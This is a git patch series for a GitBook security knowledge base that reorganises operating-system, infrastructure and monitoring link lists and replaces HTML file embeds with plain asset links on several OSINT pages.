Explained](http://daniel.haxx.se/http2/) + +### Distributed Systems and Infrastructure + +* [Distributed Systems for Fun and Profit](http://book.mixu.net/distsys/single-page.html) +* [High-Performance Browser Networking](https://hpbn.co) +* [Kafka: The Definitive Guide](https://assets.confluent.io/m/1b509accf21490f0/original/20170707-EB-Confluent_Kafka_Definitive-Guide_Complete.pdf) +* [Code Connected vol. 1](http://hintjens.wdfiles.com/local--files/main%3Afiles/cc1pe.pdf) - ZeroMQ. + +### Automation and Infrastructure as Code + +* [Ansible](https://www.ansible.com/) - Configuration management and automation. +* [Terraform](https://www.terraform.io/) - Infrastructure as code. + +### Training + +Training platforms and labs are maintained in the Training section. + +{% content-ref url="training/" %} +[training](training/) +{% endcontent-ref %} + +### IP Range Reference + +* [Tenable Cloud Scanner IP ranges](https://docs.tenable.com/tenableio/Content/Settings/CloudSensors.htm) +* [Google Cloud IP ranges JSON](https://www.gstatic.com/ipranges/cloud.json) +* [Azure IP ranges and service tags](https://www.microsoft.com/en-us/download/details.aspx?id=56519) + +## Operating Systems + +### Linux + +* [Linux Journey](https://linuxjourney.com/) - Introductory Linux learning path. +* [Linux Basics for Hackers](https://nostarch.com/linuxbasicsforhackers) - Offensive-security-focused Linux book. +* [Cisco NDG Linux Unhatched](https://www.netacad.com/courses/os-it/ndg-linux-unhatched) +* [Roppers Computing Fundamentals](https://www.roppers.org/courses/computing-fundamentals) +* [Kali Linux Revealed](https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf) +* _Operator Handbook: Linux_Defend - pg. 122_ +* _Operator Handbook: Linux_Ports - pg. 133_ +* _Operator Handbook: Linux_Structure - pg. 143_ + +Linux CLI and Bash references live in Code and CLI. {% content-ref url="code-tools/bash/" %} [bash](code-tools/bash/) {% endcontent-ref %} -### **Windows** +### Windows -* WIndows Components - [https://tinyurl.com/48vexm6h](https://tinyurl.com/48vexm6h) - * _Operator Handbook: Windows\_Structure - pg. 413_ - * _Operator Handbook: Windows\_Ports - pg. 365_ -* Windows Local File Systems - [https://tinyurl.com/35snns2k](https://tinyurl.com/35snns2k) -* Windows Registry - [https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry](https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry) - * [https://posts.specterops.io/the-defenders-guide-to-the-windows-registry-febe241abc75?gi=6e7da1428d77](https://posts.specterops.io/the-defenders-guide-to-the-windows-registry-febe241abc75?gi=6e7da1428d77) - * _Operator Handbook: Windows\_Registry- pg. 370_ -* Windows Administration Tools - [https://tinyurl.com/hwmv4cvt](https://tinyurl.com/hwmv4cvt) -* Microsoft Active Directory - * [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) - * _Cyber Operations: Active Directory - pg.235_ +* [Windows components](https://learn.microsoft.com/en-us/windows/win32/) +* _Operator Handbook: Windows_Structure - pg. 413_ +* _Operator Handbook: Windows_Ports - pg. 365_ +* [Windows local file systems](https://learn.microsoft.com/en-us/windows/win32/fileio/file-systems) +* [Windows registry](https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry) + * [The Defender's Guide to the Windows Registry](https://posts.specterops.io/the-defenders-guide-to-the-windows-registry-febe241abc75?gi=6e7da1428d77) + * _Operator Handbook: Windows_Registry - pg. 370_ +* [Windows administration tools](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands) +* [Active Directory Domain Services overview](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) + +Active Directory attack methodology is maintained in Red Offensive. {% content-ref url="red-offensive/testing-methodology/active-directory.md" %} [active-directory.md](red-offensive/testing-methodology/active-directory.md) {% endcontent-ref %} -* Windows Command Line - * [https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd) - * [https://www.tavi.co.uk/os2pages/cmd.html](https://www.tavi.co.uk/os2pages/cmd.html) - * [https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands) - * _Operator Handbook: Windows\_Commands - pg. 328_ -* Windows Powershell - * [https://docs.microsoft.com/en-us/powershell/](https://docs.microsoft.com/en-us/powershell/) +Windows command-line and PowerShell references live in Code and CLI. {% content-ref url="code-tools/powershell/" %} [powershell](code-tools/powershell/) {% endcontent-ref %} -* Misc - * [https://tryhackme.com/room/windowsfundamentals1xbx](https://tryhackme.com/room/windowsfundamentals1xbx) - * [https://tryhackme.com/room/windowsfundamentals2x0x](https://tryhackme.com/room/windowsfundamentals2x0x) - * [https://tryhackme.com/room/windowsfundamentals3xzx](https://tryhackme.com/room/windowsfundamentals3xzx) - * _Operator Handbook: Windows\_Defend - pg. 334_ - * _Operator Handbook: Windows\_Event\_IDs - pg. 338_ - -### **MacOS** - -* [https://edu.gcfglobal.org/en/macosbasics/all-about-macos/1/](https://edu.gcfglobal.org/en/macosbasics/all-about-macos/1/) - Mac Basics -* [https://macpaw.com/how-to/new-to-mac](https://macpaw.com/how-to/new-to-mac) - Beginners Guide to Mac -* [https://theevilbit.github.io/posts/getting\_started\_in\_macos\_security/](https://theevilbit.github.io/posts/getting\_started\_in\_macos\_security/) -* _Operator Handbook: MacOS\_Commands - pg.154_ -* _Operator Handbook: MacOS\_Defend - pg.162_ -* _Operator Handbook: MacOS\_Ports - pg.181_ -* _Operator Handbook: MacOS\_Structure - pg.186_ - -### Misc Resources - -* General Computer Science - * [Computer Science from the Bottom Up](http://www.bottomupcs.com) - * [https://www.geeksforgeeks.org](https://www.geeksforgeeks.org) -* OS Basics - * [A short introduction to operating systems (2001)](http://markburgess.org/os/os.pdf) - Mark Burgess (PDF) - * [Think OS: A Brief Introduction to Operating Systems](http://www.greenteapress.com/thinkos/index.html) - Allen B. Downey (PDF) - * [Operating Systems and Middleware](https://gustavus.edu/mcs/max/os-book/) (PDF and LaTeX) - * [Operating Systems: Three Easy Pieces](http://pages.cs.wisc.edu/\~remzi/OSTEP/) (PDF) -* OS Design - * [How to write a simple operating system in assembly language](http://mikeos.sourceforge.net/write-your-own-os.html) - Mike Saunders (HTML) - * [How to Make a Computer Operating System](https://github.com/SamyPesse/How-to-Make-a-Computer-Operating-System) (🚧 _in process_) - * [Project Oberon: The Design of an Operating System, a Compiler, and a Computer](http://people.inf.ethz.ch/wirth/ProjectOberon/index.html) - Niklaus Wirth & Jürg Gutknecht (PDF) - * [The little book about OS development](https://littleosbook.github.io) - Erik Helin, Adam Renberg - * [Writing a Simple Operating System from Scratch](http://www.cs.bham.ac.uk/\~exr/lectures/opsys/10\_11/lectures/os-dev.pdf) - Nick Blundell (PDF) -* FIle Systems - * [Practical File System Design: The Be File System](http://www.nobius.org/\~dbg/practical-file-system-design.pdf) - Dominic Giampaolo (PDF) -* Unix OS Design - * [The Art of Unix Programming](http://catb.org/esr/writings/taoup/html/) - Eric S. Raymond - * [UNIX Application and System Programming, lecture notes](http://www.compsci.hunter.cuny.edu/\~sweiss/course\_materials/unix\_lecture\_notes.php) - Prof. Stewart Weiss (PDF) - * [Xv6, a simple Unix-like teaching operating system](https://pdos.csail.mit.edu/6.828/2012/xv6.html) - -## Cloud +Windows Event ID references and defensive use cases are maintained in Blue/DFIR. + +{% content-ref url="dfir-digital-forensics-and-incident-response/windows-event-logs.md" %} +[windows-event-logs.md](dfir-digital-forensics-and-incident-response/windows-event-logs.md) +{% endcontent-ref %} + +### macOS + +* [All About macOS](https://edu.gcfglobal.org/en/macosbasics/all-about-macos/1/) +* [New to Mac guide](https://macpaw.com/how-to/new-to-mac) +* [Getting started in macOS security](https://theevilbit.github.io/posts/getting_started_in_macos_security/) +* _Operator Handbook: MacOS_Commands - pg. 154_ +* _Operator Handbook: MacOS_Defend - pg. 162_ +* _Operator Handbook: MacOS_Ports - pg. 181_ +* _Operator Handbook: MacOS_Structure - pg. 186_ + +macOS DFIR commands are maintained in DFIR. + +{% content-ref url="dfir-digital-forensics-and-incident-response/macos-dfir-commands.md" %} +[macos-dfir-commands.md](dfir-digital-forensics-and-incident-response/macos-dfir-commands.md) +{% endcontent-ref %} + +## Computer Science and OS Design + +* [Computer Science from the Bottom Up](http://www.bottomupcs.com) +* [GeeksforGeeks](https://www.geeksforgeeks.org) +* [A Short Introduction to Operating Systems](http://markburgess.org/os/os.pdf) +* [Think OS](http://www.greenteapress.com/thinkos/index.html) +* [Operating Systems and Middleware](https://gustavus.edu/mcs/max/os-book/) +* [Operating Systems: Three Easy Pieces](http://pages.cs.wisc.edu/~remzi/OSTEP/) +* [How to write a simple operating system in assembly language](http://mikeos.sourceforge.net/write-your-own-os.html) +* [How to Make a Computer Operating System](https://github.com/SamyPesse/How-to-Make-a-Computer-Operating-System) +* [Project Oberon](http://people.inf.ethz.ch/wirth/ProjectOberon/index.html) +* [The Little Book About OS Development](https://littleosbook.github.io) +* [Writing a Simple Operating System from Scratch](http://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf) +* [Practical File System Design: The Be File System](http://www.nobius.org/~dbg/practical-file-system-design.pdf) +* [The Art of Unix Programming](http://catb.org/esr/writings/taoup/html/) +* [UNIX Application and System Programming lecture notes](http://www.compsci.hunter.cuny.edu/~sweiss/course_materials/unix_lecture_notes.php) +* [xv6, a simple Unix-like teaching operating system](https://pdos.csail.mit.edu/6.828/2012/xv6.html) + +## Adjacent Yellow Sections + +### Cloud {% content-ref url="cloud.md" %} [cloud.md](cloud.md) {% endcontent-ref %} -## Containers +### Containers {% content-ref url="containers.md" %} [containers.md](containers.md) {% endcontent-ref %} -## Logging and Security Architecture +### Logging and Security Architecture {% content-ref url="security-logging/" %} [security-logging](security-logging/) {% endcontent-ref %} -## Infrastructure monitoring +### Infrastructure Monitoring -* [Netdata](https://github.com/netdata/netdata) is high-fidelity infrastructure monitoring and troubleshooting, real-time monitoring Agent collects thousands of metrics from systems, hardware, containers, and applications with zero configuration. It runs permanently on all your physical/virtual servers, containers, cloud deployments, and edge/IoT devices, and is perfectly safe to install on your systems mid-incident without any preparation. - * [https://www.netdata.cloud/](https://www.netdata.cloud/) +* [Netdata](https://github.com/netdata/netdata) - Real-time infrastructure monitoring and troubleshooting for systems, hardware, containers, applications, cloud deployments, and edge/IoT devices. + * [Netdata Cloud](https://www.netdata.cloud/) From 385bf30a63f2fc770aab2ddf2ed36d47d19fba53 Mon Sep 17 00:00:00 2001 From: Tom Harrison Date: Wed, 27 May 2026 08:20:12 -0400 Subject: [PATCH 2/3] Fix GitBook import for IP address page Replace the ambiguous file embed with a plain asset link so GitBook can parse and resume syncing the OSINT IP address page. Co-authored-by: Cursor --- cyber-intelligence/osint/ip-address.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cyber-intelligence/osint/ip-address.md b/cyber-intelligence/osint/ip-address.md index e267f4b..71e1274 100644 --- a/cyber-intelligence/osint/ip-address.md +++ b/cyber-intelligence/osint/ip-address.md @@ -26,7 +26,7 @@ Current useful lookup categories include: * **Cyber search** - Shodan, ZoomEye, and similar indexed scan data. * **Public records** - Identity or breach pivots where legally appropriate. -{% file src="../../.gitbook/assets/IP (1).html" %} +Local helper copy: [IP.html](../../.gitbook/assets/IP.html) ## WHOIS vs. RDAP From 1fee74d7461d79838b0885e5efbf660ff0bdbbf0 Mon Sep 17 00:00:00 2001 From: Tom Harrison Date: Wed, 27 May 2026 08:29:18 -0400 Subject: [PATCH 3/3] Fix GitBook HTML helper imports Replace OSINT HTML file embeds with plain asset links so GitBook can parse Cyber Intelligence pages during sync. Co-authored-by: Cursor --- cyber-intelligence/osint/domain.md | 2 +- cyber-intelligence/osint/files-media-breach-paste-code.md | 8 ++++---- cyber-intelligence/osint/misc-osint.md | 6 +++--- cyber-intelligence/osint/name-phone-gov-record.md | 6 +++--- cyber-intelligence/osint/search-engines/README.md | 2 +- cyber-intelligence/osint/socmint-social-media.md | 6 +++--- cyber-intelligence/osint/username-email.md | 4 ++-- cyber-intelligence/threat-data.md | 2 +- 8 files changed, 18 insertions(+), 18 deletions(-) diff --git a/cyber-intelligence/osint/domain.md b/cyber-intelligence/osint/domain.md index 40f4955..642ebb5 100644 --- a/cyber-intelligence/osint/domain.md +++ b/cyber-intelligence/osint/domain.md @@ -22,7 +22,7 @@ Domain.html is a multi-lookup helper for pivoting through domain investigation s * **Threat Data** - Use the Threat Data page for reputation and enrichment. * **Shortened URL Metadata** - Shortener preview and redirect investigation. -{% file src="../../.gitbook/assets/Domain.html" %} +Local helper copy: [Domain.html](../../.gitbook/assets/Domain.html) ## Domain Toolboxes diff --git a/cyber-intelligence/osint/files-media-breach-paste-code.md b/cyber-intelligence/osint/files-media-breach-paste-code.md index c1ed333..d02596e 100644 --- a/cyber-intelligence/osint/files-media-breach-paste-code.md +++ b/cyber-intelligence/osint/files-media-breach-paste-code.md @@ -22,7 +22,7 @@ Documents.html is a tool that enables you to search for various file types assoc
-{% file src="../../.gitbook/assets/Documents (1).html" %} +Local helper copy: [Documents.html](../../.gitbook/assets/Documents.html)
@@ -117,9 +117,9 @@ Clothing/Shopping
-{% file src="../../.gitbook/assets/Images.html" %} +Local helper copy: [Images.html](../../.gitbook/assets/Images.html) -{% file src="../../.gitbook/assets/Videos (1).html" %} +Local helper copy: [Videos.html](../../.gitbook/assets/Videos.html) ## **Breach/Leak/Paste data** @@ -148,7 +148,7 @@ Paste sites like Pastebin have recently restricted their search capabilities. Pa
-{% file src="../../.gitbook/assets/Breaches.html" %} +Local helper copy: [Breaches.html](../../.gitbook/assets/Breaches.html)
diff --git a/cyber-intelligence/osint/misc-osint.md b/cyber-intelligence/osint/misc-osint.md index e0bb74b..afdd0f2 100644 --- a/cyber-intelligence/osint/misc-osint.md +++ b/cyber-intelligence/osint/misc-osint.md @@ -34,7 +34,7 @@
-{% file src="../../.gitbook/assets/License.html" %} +Local helper copy: [License.html](../../.gitbook/assets/License.html) ## **Cryptocurrencies** @@ -62,7 +62,7 @@ Core blockchain explorers are also listed on Threat Data. This page keeps invest -{% file src="../../.gitbook/assets/Currencies.html" %} +Local helper copy: [Currencies.html](../../.gitbook/assets/Currencies.html) ## **Location** @@ -78,7 +78,7 @@ Core blockchain explorers are also listed on Threat Data. This page keeps invest -{% file src="../../.gitbook/assets/Location.html" %} +Local helper copy: [Location.html](../../.gitbook/assets/Location.html) ![](<../../.gitbook/assets/image (35).png>) diff --git a/cyber-intelligence/osint/name-phone-gov-record.md b/cyber-intelligence/osint/name-phone-gov-record.md index 54d1c1a..6b62206 100644 --- a/cyber-intelligence/osint/name-phone-gov-record.md +++ b/cyber-intelligence/osint/name-phone-gov-record.md @@ -33,7 +33,7 @@ Name search records can become ambiguous quickly when dealing with common names -{% file src="../../.gitbook/assets/Name (1).html" %} +Local helper copy: [Name.html](../../.gitbook/assets/Name.html) Email and username OSINT has its own canonical page. Use this page when the investigation starts from a person, phone number, public record, business record, vehicle, property, or government source; pivot to Username/Email when the identifier becomes an email address or handle. @@ -65,7 +65,7 @@ Email and username OSINT has its own canonical page. Use this page when the inve * [https://www.aware-online.com/en/how-can-i-find-a-google-account-by-phone-number/](https://www.aware-online.com/en/how-can-i-find-a-google-account-by-phone-number/) -{% file src="../../.gitbook/assets/Telephone.html" %} +Local helper copy: [Telephone.html](../../.gitbook/assets/Telephone.html) ## Government and Business Records @@ -186,7 +186,7 @@ Voter registration records are public in many states and can provide address his -{% file src="../../.gitbook/assets/Business (1).html" %} +Local helper copy: [Business.html](../../.gitbook/assets/Business.html) ## Deprecated or Unreliable Tools diff --git a/cyber-intelligence/osint/search-engines/README.md b/cyber-intelligence/osint/search-engines/README.md index 558b9f9..2447a9e 100644 --- a/cyber-intelligence/osint/search-engines/README.md +++ b/cyber-intelligence/osint/search-engines/README.md @@ -10,7 +10,7 @@ When beginning any OSINT investigation, consider starting with Search.html, a co The resources listed below provide a solid foundation for search engine-based investigation techniques, though they represent only a starting point for comprehensive OSINT research. -{% file src="../../../.gitbook/assets/Search (1).html" %} +Local helper copy: [Search.html](../../../.gitbook/assets/Search.html) ## [**Google**](https://google.com) diff --git a/cyber-intelligence/osint/socmint-social-media.md b/cyber-intelligence/osint/socmint-social-media.md index 274a7a4..19d4430 100644 --- a/cyber-intelligence/osint/socmint-social-media.md +++ b/cyber-intelligence/osint/socmint-social-media.md @@ -28,7 +28,7 @@ General username enumeration tools such as Sherlock, WhatsMyName, Maigret, and B [username-email.md](username-email.md) {% endcontent-ref %} -{% file src="../../.gitbook/assets/Communities.html" %} +Local helper copy: [Communities.html](../../.gitbook/assets/Communities.html)
@@ -104,7 +104,7 @@ General username enumeration tools such as Sherlock, WhatsMyName, Maigret, and B
-{% file src="../../.gitbook/assets/Instagram.html" %} +Local helper copy: [Instagram.html](../../.gitbook/assets/Instagram.html)
@@ -245,7 +245,7 @@ General username enumeration tools such as Sherlock, WhatsMyName, Maigret, and B
-{% file src="../../.gitbook/assets/Twitter.html" %} +Local helper copy: [Twitter.html](../../.gitbook/assets/Twitter.html)
diff --git a/cyber-intelligence/osint/username-email.md b/cyber-intelligence/osint/username-email.md index f59febf..0b64eb2 100644 --- a/cyber-intelligence/osint/username-email.md +++ b/cyber-intelligence/osint/username-email.md @@ -20,9 +20,9 @@ These complementary tools often produce overlapping results, but it's best pract 1. **Presence Detection**: Verify if the username or email exists on various platforms 2. **Exposure Analysis**: Identify any publicly available or leaked information associated with the credentials -{% file src="../../.gitbook/assets/Username (1).html" %} +Local helper copy: [Username.html](../../.gitbook/assets/Username.html) -{% file src="../../.gitbook/assets/Email.html" %} +Local helper copy: [Email.html](../../.gitbook/assets/Email.html)
diff --git a/cyber-intelligence/threat-data.md b/cyber-intelligence/threat-data.md index 7765362..16d9712 100644 --- a/cyber-intelligence/threat-data.md +++ b/cyber-intelligence/threat-data.md @@ -165,7 +165,7 @@ Domain-focused passive investigation workflows live in Domain OSINT. Some tools require more complex URL structures than simple parameter appending. Additional functionality may be needed for full automation. {% endhint %} -{% file src="../.gitbook/assets/EasyOSINT.html" %} +Local helper copy: [EasyOSINT.html](../.gitbook/assets/EasyOSINT.html) {% embed url="https://github.com/s0cm0nkey/EasyOSINT" %}